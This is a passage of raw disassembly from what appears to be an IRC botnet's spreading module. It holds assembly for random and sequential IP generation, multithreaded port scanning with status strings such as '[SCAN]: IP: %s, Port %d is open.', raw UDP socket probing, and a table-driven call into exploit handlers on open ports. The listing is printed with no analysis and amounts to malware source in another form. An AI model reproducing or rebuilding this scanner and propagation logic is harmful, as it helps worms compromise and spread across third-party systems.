sbb edi, edi
lea ecx, [esp+7A0h+var_770]
neg edi
push 30h
push ecx
add edi, 2
call ebp
add esp, 8
xor bl, bl
test edi, edi
jle short loc_4219B3
loc_421997: ; CODE XREF: sub_421170+841j
test eax, eax
jz short loc_4219B3
lea edx, [esp+7A0h+var_770]
push 30h
push edx
mov byte ptr [eax], 78h
call ebp
add esp, 8
inc bl
movsx ecx, bl
cmp ecx, edi
jl short loc_421997
loc_4219B3: ; CODE XREF: sub_421170+825j
; sub_421170+829j
mov [esp+7A0h+var_630], 1
jmp short loc_4219CB
; ---------------------------------------------------------------------------
loc_4219C0: ; CODE XREF: sub_421170+7F6j
mov [esp+7A0h+var_630], 0
loc_4219CB: ; CODE XREF: sub_421170+727j
; sub_421170+84Ej
mov edx, ds:dword_488753
xor eax, eax
mov al, [esi+93h]
lea edi, [esi+2Ah]
mov ecx, edi
mov [esp+7A0h+var_660], edx
mov [esp+7A0h+var_638], 0
mov [esp+7A0h+var_634], eax
call sub_401726
push eax
lea ecx, [esp+7A4h+var_760]
push 80h
push ecx
call ds:dword_4B3AA8
mov eax, [esp+7ACh+var_630]
add esp, 0Ch
test eax, eax
mov [esp+7A0h+var_6E0], 0
mov eax, offset aRandom ; "random"
jnz short loc_421A2D
mov eax, offset aSequential ; "sequential"
loc_421A2D: ; CODE XREF: sub_421170+8B6j
mov edx, [esp+7A0h+var_644]
mov ecx, [esp+7A0h+var_654]
push edx
mov edx, [esp+7A4h+var_658]
push ecx
mov ecx, [esp+7A8h+var_65C]
push edx
lea edx, [esp+7ACh+var_770]
push ecx
push edx
push eax
mov eax, [esp+7B8h+var_640]
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea ecx, ds:43C30Ah[eax*4]
push ecx
push offset aAdvscanSSPortS ; "advscan(%s): %s port scan %s:%d [delay "...
mov ecx, edi
call sub_401479
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_48873B
call sub_40178F
push 0
lea ecx, [esp+7D4h+var_20C]
push 3
push ecx
call sub_401AD7
add esp, 3Ch
lea edx, [esp+7A0h+var_770]
mov [esp+7A0h+var_650], eax
push edx
call sub_4020BD
mov al, 1
jmp loc_42156B
sub_421170 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 260h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D20 proc near ; CODE XREF: sub_401131j
arg_A6 = dword ptr 0AAh
mov eax, [esp+arg_A6]
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
mov ecx, ds:dword_43C330[eax*4]
inc ecx
mov ds:dword_43C330[eax*4], ecx
mov al, 1
retn
sub_421D20 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D50 proc near ; CODE XREF: sub_401CC1j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 14h
xor eax, eax
lea ecx, [esp+14h+var_14]
mov [esp+14h+var_10], eax
lea edx, [esp+14h+var_10]
mov [esp+14h+var_C], eax
push ecx
mov [esp+18h+var_8], eax
push edx
mov [esp+1Ch+var_4], eax
mov eax, [esp+1Ch+arg_0]
push eax
mov [esp+20h+var_14], 10h
call ds:dword_4B3CB8
mov ecx, [esp+14h+var_C+3]
mov edx, [esp+14h+var_C+2]
mov eax, [esp+14h+var_C+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+18h+var_C]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
push offset dword_43BB9C
push offset dword_4B1C98
call ds:dword_4B3C18
mov eax, offset dword_4B1C98
add esp, 2Ch
retn
sub_421D50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421E10 proc near ; CODE XREF: sub_401DF2j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, ds:dword_4AFD40[esi*8]
push eax
call ds:dword_4B3C7C
inc eax
push eax
call ds:dword_4B3C78
mov ds:dword_4AFD40[esi*8], eax
pop esi
retn
sub_421E10 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421E50 proc near ; CODE XREF: sub_401113j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
mov edx, [esp+10h+arg_0]
push ebx
or ebx, 0FFFFFFFFh
push edi
mov edi, edx
mov ecx, ebx
xor eax, eax
mov [esp+18h+var_8], ebx
repne scasb
not ecx
dec ecx
mov [esp+18h+var_C], ebx
cmp ecx, 0Fh
mov [esp+18h+var_10], ebx
mov [esp+18h+var_4], ebx
jbe short loc_421E82
pop edi
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_421E82: ; CODE XREF: sub_421E50+2Aj
lea eax, [esp+18h+var_4]
push esi
lea ecx, [esp+1Ch+var_10]
push eax
push ecx
lea eax, [esp+24h+var_C]
lea ecx, [esp+24h+var_8]
push eax
push ecx
push offset dword_43BB9C
push edx
call ds:dword_4B3A70
mov eax, [esp+34h+var_8]
mov esi, ds:dword_4B3A9C
add esp, 18h
cmp eax, ebx
jnz short loc_421EBA
call esi
mov [esp+1Ch+var_8], eax
loc_421EBA: ; CODE XREF: sub_421E50+62j
cmp [esp+1Ch+var_C], ebx
jnz short loc_421EC6
call esi
mov [esp+1Ch+var_C], eax
loc_421EC6: ; CODE XREF: sub_421E50+6Ej
cmp [esp+1Ch+var_10], ebx
jnz short loc_421ED2
call esi
mov [esp+1Ch+var_10], eax
loc_421ED2: ; CODE XREF: sub_421E50+7Aj
mov eax, [esp+1Ch+var_4]
cmp eax, ebx
jnz short loc_421EDC
call esi
loc_421EDC: ; CODE XREF: sub_421E50+88j
mov edi, [esp+1Ch+var_10]
mov edx, [esp+1Ch+var_C]
shl eax, 8
mov ecx, [esp+1Ch+arg_4]
add eax, edi
shl eax, 8
add eax, edx
mov edx, [esp+1Ch+var_8]
shl eax, 8
add eax, edx
pop esi
pop edi
mov ds:dword_4AFD40[ecx*8], eax
pop ebx
add esp, 10h
retn
sub_421E50 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421F40 proc near ; CODE XREF: sub_401D07j
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = word ptr -114h
var_112 = word ptr -112h
var_110 = dword ptr -110h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 120h
push esi
push edi
mov edi, 1
push 0
push edi
push 2
mov [esp+134h+var_120], edi
call ds:dword_4B3CAC
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_421F6E
pop edi
xor eax, eax
pop esi
add esp, 120h
retn
; ---------------------------------------------------------------------------
loc_421F6E: ; CODE XREF: sub_421F40+21j
mov ecx, [esp+128h+arg_4]
mov eax, [esp+128h+arg_0]
push ecx
mov [esp+12Ch+var_114], 2
mov [esp+12Ch+var_110], eax
call ds:dword_4B3CB0
lea edx, [esp+128h+var_120]
mov [esp+128h+var_112], ax
push edx
push 8004667Eh
push esi
call ds:dword_4B3C74
lea eax, [esp+128h+var_114]
push 10h
push eax
push esi
call ds:dword_4B3CB4
mov ecx, [esp+128h+arg_8]
lea edx, [esp+128h+var_11C]
push edx
lea eax, [esp+12Ch+var_104]
push 0
push eax
push 0
push 0
mov [esp+13Ch+var_11C], ecx
mov [esp+13Ch+var_118], 0
mov [esp+13Ch+var_100], esi
mov [esp+13Ch+var_104], edi
call ds:dword_4B3C5C
push esi
mov edi, eax
call ds:dword_4B3CA8
xor eax, eax
test edi, edi
pop edi
pop esi
setnle al
add esp, 120h
retn
sub_421F40 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_422030: ; CODE XREF: _294ADE7B:00401041j
; DATA XREF: sub_412570+B7o
mov eax, 10110h
call sub_430390
push ebx
push ebp
mov ebp, ds:dword_4B3CB0
push esi
push edi
push 2649h
call ebp
mov [esp+24h], ax
mov eax, [esp+1012Ch]
push eax
call ebp
mov [esp+26h], ax
call ds:dword_4B3A9C
xor ebx, ebx
push 200h
mov [esp+2Ch], eax
mov [esp+30h], ebx
mov [esp+34h], bx
mov [esp+44h], bx
mov word ptr [esp+36h], 5
mov [esp+38h], bx
mov word ptr [esp+3Ah], 1
mov [esp+3Ch], bx
mov [esp+3Eh], bx
mov [esp+40h], bx
mov [esp+42h], bx
call ebp
mov ecx, [esp+10124h]
mov edx, [esp+10128h]
push 24h
mov [esp+46h], ax
mov [esp+48h], bx
mov [esp+4Ah], bx
mov [esp+4Ch], ecx
mov [esp+50h], edx
mov [esp+54h], bl
mov byte ptr [esp+55h], 6
call ebp
mov [esp+52h], ax
mov ecx, 9
lea esi, [esp+24h]
lea edi, [esp+54h]
lea eax, [esp+48h]
push 20h
rep movsd
push eax
call sub_401942
mov edx, [esp+10134h]
xor ecx, ecx
mov [esp+1Ch], ecx
add esp, 8
mov [esp+18h], ecx
mov [esp+44h], ax
mov [esp+1Ch], ecx
push edx
mov [esp+24h], ecx
mov word ptr [esp+18h], 2
call ebp
mov [esp+16h], ax
mov eax, [esp+10128h]
push 6
push 3
push 2
mov [esp+24h], eax
mov dword ptr [esp+1Ch], 10h
call ds:dword_4B3CAC
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_422159
push offset aSocketOpenFail ; "socket open failed"
jmp loc_422258
; ---------------------------------------------------------------------------
loc_422159: ; CODE XREF: _294ADE7B:0042214Dj
mov ecx, [esp+10h]
lea edx, [esp+14h]
push ecx
push edx
push ebx
lea eax, [esp+30h]
push 24h
push eax
push esi
call ds:dword_4B3C84
mov edi, eax
cmp edi, 14h
jz short loc_4221B2
call ds:dword_4B3C60
push eax
push edi
lea ecx, [esp+70h]
push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
push ecx
call ds:dword_4B3C18
lea edx, [esp+78h]
push edx
call sub_4010BE
add esp, 14h
push esi
call ds:dword_4B3CA8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_4221B2: ; CODE XREF: _294ADE7B:00422177j
mov ecx, 400Dh
xor eax, eax
lea edi, [esp+0E8h]
mov ebp, 2649h
rep stosd
stosw
stosb
cmp [esp+0FEh], bp
jz short loc_422203
mov edi, ds:dword_4B3C80
loc_4221DA: ; CODE XREF: _294ADE7B:00422201j
lea eax, [esp+10h]
lea ecx, [esp+14h]
push eax
push ecx
push ebx
lea edx, [esp+0F4h]
push 10037h
push edx
push esi
call edi
test eax, eax
jl short loc_422232
cmp [esp+0FEh], bp
jnz short loc_4221DA
loc_422203: ; CODE XREF: _294ADE7B:004221D2j
push esi
call ds:dword_4B3CA8
cmp word ptr [esp+10Eh], 1
jnz short loc_422253
push offset aSocketOpen_ ; "Socket open."
call sub_4010BE
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_422232: ; CODE XREF: _294ADE7B:004221F7j
push offset aRecvfromSocket ; "recvfrom() socket failed"
call sub_4010BE
add esp, 4
push esi
call ds:dword_4B3CA8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_422253: ; CODE XREF: _294ADE7B:00422213j
push offset aSocketClosed_ ; "Socket closed."
loc_422258: ; CODE XREF: _294ADE7B:00422154j
call sub_4010BE
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_422300: ; CODE XREF: sub_401DDEj
sub esp, 290h
mov eax, [esp+294h]
push ebx
push ebp
push esi
push edi
mov ecx, 53h
mov esi, eax
lea edi, [esp+18h]
rep movsd
mov esi, [esp+13Ch]
mov ecx, [esp+140h]
mov [esp+10h], esi
mov [esp+14h], ecx
mov dword ptr [eax+148h], 1
call ds:dword_4B38D0
push eax
call ds:dword_4B3AA0
lea eax, [esi+esi*2]
add esp, 4
shl eax, 4
sub eax, esi
lea eax, [eax+eax*2]
lea ebp, ds:441E23h[eax*4]
mov eax, ds:dword_442027[eax*4]
mov ecx, ds:dword_4AFD44[eax*8]
test ecx, ecx
jz loc_4225B4
mov ebx, ds:dword_4B3C18
loc_42237C: ; CODE XREF: _294ADE7B:004225AAj
mov ecx, [esp+158h]
push eax
test ecx, ecx
jz short loc_422397
lea edx, [esp+1Ch]
push edx
call sub_401113
add esp, 8
jmp short loc_42239F
; ---------------------------------------------------------------------------
loc_422397: ; CODE XREF: _294ADE7B:00422386j
call sub_401DF2
add esp, 4
loc_42239F: ; CODE XREF: _294ADE7B:00422395j
mov ecx, [ebp+204h]
mov edx, [esp+12Ch]
mov edi, ds:dword_4B3CA0
mov esi, eax
mov eax, [esp+14h]
push eax
push ecx
push edx
push esi
call edi
push eax
lea eax, [esp+230h]
push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
push eax
call ebx
add esp, 18h
lea ecx, [esp+220h]
push ecx
push ebp
call ebx
mov edx, [esp+138h]
mov eax, [esp+134h]
push edx
push eax
push esi
call sub_401D07
add esp, 14h
cmp eax, 1
jnz loc_422590
cmp dword ptr [esp+148h], 0FFFFFFFFh
jnz loc_4224B2
push offset dword_4B1C80
call ds:dword_4B3868
mov ecx, [esp+12Ch]
push ecx
push esi
call edi
push eax
lea edx, [esp+228h]
push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
push edx
call ebx
mov eax, [esp+164h]
add esp, 10h
test eax, eax
jnz short loc_422492
mov al, [esp+0A8h]
test al, al
jz short loc_42246D
mov eax, [esp+150h]
lea ecx, [esp+220h]
push eax
mov eax, [esp+12Ch]
lea edx, [esp+0ACh]
push ecx
push edx
push eax
jmp short loc_42248A
; ---------------------------------------------------------------------------
loc_42246D: ; CODE XREF: _294ADE7B:00422449j
mov ecx, [esp+150h]
lea edx, [esp+220h]
push ecx
mov ecx, [esp+12Ch]
lea eax, [esp+2Ch]
push edx
push eax
push ecx
loc_42248A: ; CODE XREF: _294ADE7B:0042246Bj
call sub_4014BF
add esp, 10h
loc_422492: ; CODE XREF: _294ADE7B:0042243Ej
lea edx, [esp+220h]
push edx
call sub_4010BE
add esp, 4
push offset dword_4B1C80
call ds:dword_4B386C
jmp loc_422590
; ---------------------------------------------------------------------------
loc_4224B2: ; CODE XREF: _294ADE7B:00422406j
push esi
call edi
push eax
lea eax, [esp+16Ch]
push eax
call ebx
mov eax, [esp+150h]
add esp, 8
lea eax, [eax+eax*2]
lea ecx, [eax+eax*4]
lea eax, [esp+1F8h]
lea edx, ds:43C300h[ecx*4]
push edx
push eax
call ebx
mov al, [esp+0B0h]
add esp, 8
test al, al
jz short loc_422502
lea ecx, [esp+0A8h]
lea edx, [esp+178h]
push ecx
push edx
jmp short loc_42250F
; ---------------------------------------------------------------------------
loc_422502: ; CODE XREF: _294ADE7B:004224EEj
lea eax, [esp+28h]
lea ecx, [esp+178h]
push eax
push ecx
loc_42250F: ; CODE XREF: _294ADE7B:00422500j
call ebx
mov eax, [esp+158h]
mov edx, [esp+130h]
mov ecx, [esp+15Ch]
mov [esp+21Ah], eax
mov eax, [esp+18h]
add esp, 8
mov [esp+164h], edx
mov edx, [esp+12Ch]
mov [esp+206h], eax
mov eax, [esp+148h]
sub esp, 0BCh
mov [esp+2D2h], ecx
mov ecx, 2Eh
lea esi, [esp+220h]
mov edi, esp
mov [esp+2BEh], edx
mov [esp+2C6h], eax
lea eax, [eax+eax*2]
rep movsd
lea edx, [eax+eax*4]
movsw
call ds:off_43C32C[edx*4]
add esp, 0BCh
loc_422590: ; CODE XREF: _294ADE7B:004223F8j
; _294ADE7B:004224ADj
push 7D0h
call ds:dword_4B38CC
mov eax, [ebp+204h]
mov ecx, ds:dword_4AFD44[eax*8]
test ecx, ecx
jnz loc_42237C
mov esi, [esp+10h]
loc_4225B4: ; CODE XREF: _294ADE7B:00422370j
push esi
call sub_401CEE
add esp, 4
push 0
call ds:dword_4B3870
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 0C0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_422690: ; CODE XREF: sub_4020BDj
mov eax, [esp+4]
sub esp, 1CCh
mov ecx, 53h
push ebx
push ebp
push esi
push edi
mov esi, eax
lea edi, [esp+10h]
mov ebx, 1
rep movsd
mov [eax+144h], ebx
lea eax, [esp+10h]
push eax
call ds:dword_4B3CBC
sub esp, 14Ch
lea esi, [esp+15Ch]
mov ecx, [esp+27Ch]
mov edi, esp
mov ds:dword_4AFD40[ecx*8], eax
mov ecx, 53h
rep movsd
call j_nullsub_9
push 3
call sub_40142E
add esp, 150h
cmp eax, ebx
jnz short loc_422711
push offset dword_4B1C80
call ds:dword_4B385C
push offset dword_4B1C80
call ds:dword_4B3860
loc_422711: ; CODE XREF: _294ADE7B:004226F9j
mov edx, [esp+130h]
mov eax, [esp+13Ch]
mov ebp, ds:dword_4B38CC
mov esi, ebx
mov ds:dword_4AFD44[edx*8], ebx
cmp eax, ebx
mov ebx, ds:dword_4B3C18
jb loc_422840
mov edi, ds:dword_4B3864
loc_422742: ; CODE XREF: _294ADE7B:0042283Aj
mov eax, [esp+130h]
mov ecx, [esp+124h]
push esi
push eax
lea edx, [esp+18h]
push ecx
push edx
lea eax, [esp+16Ch]
push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
push eax
mov [esp+150h], esi
call ebx
push 0
lea ecx, [esp+178h]
push 3
push ecx
call sub_401AD7
lea ecx, [eax+eax*2]
add esp, 24h
shl ecx, 4
sub ecx, eax
push 0
push 0
mov [esp+13Ch], eax
mov eax, [esp+138h]
lea edx, [ecx+ecx*2]
lea ecx, [esp+18h]
push ecx
push offset sub_401DDE
push 0
push 0
mov ds:dword_442027[edx*4], eax
call edi
mov edx, [esp+134h]
lea ecx, [edx+edx*2]
shl ecx, 4
sub ecx, edx
lea edx, [ecx+ecx*2]
mov ds:dword_442037[edx*4], eax
mov ecx, [esp+134h]
lea eax, [ecx+ecx*2]
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*2]
mov ecx, ds:dword_442037[eax*4]
test ecx, ecx
jz short loc_422808
mov eax, [esp+158h]
test eax, eax
jnz short loc_42282E
loc_4227F7: ; CODE XREF: _294ADE7B:00422804j
push 1Eh
call ebp
mov eax, [esp+158h]
test eax, eax
jz short loc_4227F7
jmp short loc_42282E
; ---------------------------------------------------------------------------
loc_422808: ; CODE XREF: _294ADE7B:004227EAj
call ds:dword_4B3898
push eax
lea ecx, [esp+160h]
push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
push ecx
call ebx
lea edx, [esp+168h]
push edx
call sub_4010BE
add esp, 10h
loc_42282E: ; CODE XREF: _294ADE7B:004227F5j
; _294ADE7B:00422806j
push 1Eh
call ebp
inc esi
cmp esi, [esp+13Ch]
jbe loc_422742
loc_422840: ; CODE XREF: _294ADE7B:00422736j
mov eax, [esp+12Ch]
test eax, eax
jz short loc_42286E
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
shl eax, 5
push eax
call ebp
mov esi, 1
mov eax, [esp+12Ch]
jmp short loc_4228A1
; ---------------------------------------------------------------------------
loc_42286E: ; CODE XREF: _294ADE7B:00422849j
mov ecx, [esp+130h]
mov esi, 1
cmp ds:dword_4AFD44[ecx*8], esi
jnz short loc_4228A1
loc_422883: ; CODE XREF: _294ADE7B:00422898j
push 7D0h
call ebp
mov edx, [esp+130h]
cmp ds:dword_4AFD44[edx*8], esi
jz short loc_422883
mov eax, [esp+12Ch]
loc_4228A1: ; CODE XREF: _294ADE7B:0042286Cj
; _294ADE7B:00422881j
mov ecx, [esp+130h]
mov edx, [esp+124h]
push eax
push edx
mov ecx, ds:dword_4AFD40[ecx*8]
push ecx
call ds:dword_4B3CA0
push eax
lea eax, [esp+168h]
push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
push eax
call ebx
mov eax, [esp+160h]
add esp, 14h
test eax, eax
jnz short loc_422902
mov ecx, [esp+148h]
lea edx, [esp+15Ch]
push ecx
mov ecx, [esp+124h]
lea eax, [esp+24h]
push edx
push eax
push ecx
call sub_4014BF
add esp, 10h
loc_422902: ; CODE XREF: _294ADE7B:004228DBj
lea edx, [esp+15Ch]
push edx
call sub_4010BE
mov eax, [esp+134h]
add esp, 4
push 0BB8h
mov ds:dword_4AFD44[eax*8], 0
call ebp
push 3
call sub_40142E
add esp, 4
cmp eax, esi
jnz short loc_422944
push offset dword_4B1C80
call ds:dword_4B385C
loc_422944: ; CODE XREF: _294ADE7B:00422937j
mov ecx, [esp+130h]
push ecx
call sub_401CEE
add esp, 4
push 0
call ds:dword_4B3870
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 0C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422A20 proc near ; CODE XREF: sub_401271j
mov eax, ecx
mov dword ptr [eax+4], 0
mov dword ptr [eax], 0
retn
sub_422A20 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_422A40: ; CODE XREF: _294ADE7B:0040156Ej
mov edx, [esp+4]
sub esp, 8
xor eax, eax
push esi
mov esi, ecx
push edi
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push ecx
push edx
lea ecx, [esp+10h]
call sub_40177B
mov ecx, [eax]
pop edi
mov [esi], ecx
mov edx, [eax+4]
mov eax, esi
mov [esi+4], edx
pop esi
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422A90 proc near ; CODE XREF: sub_40177Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push ebp
mov ebp, [esp+8+arg_4]
mov ebx, ecx
push ebp
call ds:dword_4B3AB0
mov edx, eax
add esp, 4
test edx, edx
jz short loc_422AE2
mov ecx, ebp
push esi
mov esi, ecx
push edi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+10h+arg_0]
and ecx, 3
rep stosb
mov ecx, ebp
mov edi, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebx
and ecx, 3
rep movsb
pop edi
mov [ebx+4], ebp
pop esi
mov [ebx], edx
pop ebp
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_422AE2: ; CODE XREF: sub_422A90+16j
mov eax, ebx
pop ebp
pop ebx
retn 8
sub_422A90 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422B10 proc near ; CODE XREF: sub_402040j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
push ebx
mov ebx, ecx
push ebp
mov ecx, [esp+8+arg_C]
lea ebp, [eax+ecx]
push ebp
call ds:dword_4B3AB0
mov edx, eax
add esp, 4
test edx, edx
jz short loc_422B84
mov ecx, ebp
push esi
mov esi, ecx
push edi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+10h+arg_0]
and ecx, 3
rep stosb
mov ecx, [esp+10h+arg_4]
mov edi, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h+arg_C]
mov esi, [esp+10h+arg_8]
lea edi, [edx+eax]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebx
and ecx, 3
rep movsb
pop edi
mov [ebx+4], ebp
pop esi
mov [ebx], edx
pop ebp
pop ebx
retn 10h
; ---------------------------------------------------------------------------
loc_422B84: ; CODE XREF: sub_422B10+1Dj
mov eax, ebx
pop ebp
pop ebx
retn 10h
sub_422B10 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422BB0 proc near ; CODE XREF: sub_401627j
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_422BC3
push eax
call ds:dword_4B3AAC
add esp, 4
loc_422BC3: ; CODE XREF: sub_422BB0+7j
mov dword ptr [esi+4], 0
mov dword ptr [esi], 0
pop esi
retn
sub_422BB0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422BF0 proc near ; CODE XREF: sub_401091j
var_4 = dword ptr -4
push ecx
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, [ebx+4]
cmp eax, 0FFFFh
jl short loc_422C07
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_422C07: ; CODE XREF: sub_422BF0+Ej
xor ecx, ecx
cmp eax, 7Fh
setnl cl
dec ecx
and ecx, 0FFFFFFFEh
add ecx, 3
mov esi, ecx
add eax, esi
mov [esp+10h+var_4], esi
push eax
call ds:dword_4B3AB0
mov ebp, eax
add esp, 4
test ebp, ebp
jnz short loc_422C35
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_422C35: ; CODE XREF: sub_422BF0+3Cj
push edi
mov edi, [ebx+4]
mov ecx, esi
xor eax, eax
add ecx, edi
mov edi, ebp
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
cmp esi, 1
rep stosb
jnz short loc_422C64
mov al, [ebx+4]
lea edi, [ebp+1]
mov [ebp+0], al
mov ecx, [ebx+4]
mov esi, [ebx]
jmp short loc_422C7F
; ---------------------------------------------------------------------------
loc_422C64: ; CODE XREF: sub_422BF0+62j
mov byte ptr [ebp+0], 82h
mov eax, [ebx+4]
sar eax, 8
mov [ebp+1], al
mov cl, [ebx+4]
mov [ebp+2], cl
mov ecx, [ebx+4]
mov esi, [ebx]
lea edi, [ebp+3]
loc_422C7F: ; CODE XREF: sub_422BF0+72j
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebx]
push eax
call ds:dword_4B3AAC
mov ecx, [esp+18h+var_4]
mov eax, [ebx+4]
add esp, 4
add eax, ecx
mov [ebx], ebp
mov [ebx+4], eax
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
retn
sub_422BF0 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422CE0 proc near ; CODE XREF: sub_401A73j
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push ebx
push ebp
mov ebp, ecx
mov eax, [ebp+4]
mov ecx, [ebp+0]
push eax
push ecx
push 1
push offset word_4B22F8
lea ecx, [esp+20h+var_8]
call sub_402040
lea ecx, [esp+10h+var_8]
call sub_401091
mov edx, [esp+10h+var_4]
inc edx
push edx
call ds:dword_4B3AB0
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_422D25
pop ebp
xor al, al
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_422D25: ; CODE XREF: sub_422CE0+3Bj
mov eax, [esp+10h+var_4]
push esi
push edi
mov edi, ebx
lea ecx, [eax+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov byte ptr [ebx], 3
mov ecx, [esp+18h+var_4]
mov esi, [esp+18h+var_8]
mov eax, ecx
lea edi, [ebx+1]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, ebp
call sub_401627
mov ecx, [esp+18h+var_4]
mov [ebp+0], ebx
inc ecx
mov [ebp+4], ecx
lea ecx, [esp+18h+var_8]
call sub_401627
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 8
retn
sub_422CE0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422DC0 proc near ; CODE XREF: sub_40128Fj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
sub esp, 8
push esi
mov esi, ecx
mov ecx, [esp+0Ch+arg_0]
push eax
mov edx, [esi+4]
mov eax, [esi]
push ecx
push edx
push eax
lea ecx, [esp+1Ch+var_8]
call sub_402040
mov ecx, esi
call sub_401627
mov ecx, [esp+0Ch+var_8]
mov edx, [esp+0Ch+var_4]
mov [esi], ecx
mov [esi+4], edx
mov al, 1
pop esi
add esp, 8
retn 8
sub_422DC0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422E10 proc near ; CODE XREF: sub_401ECEj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov edx, ecx
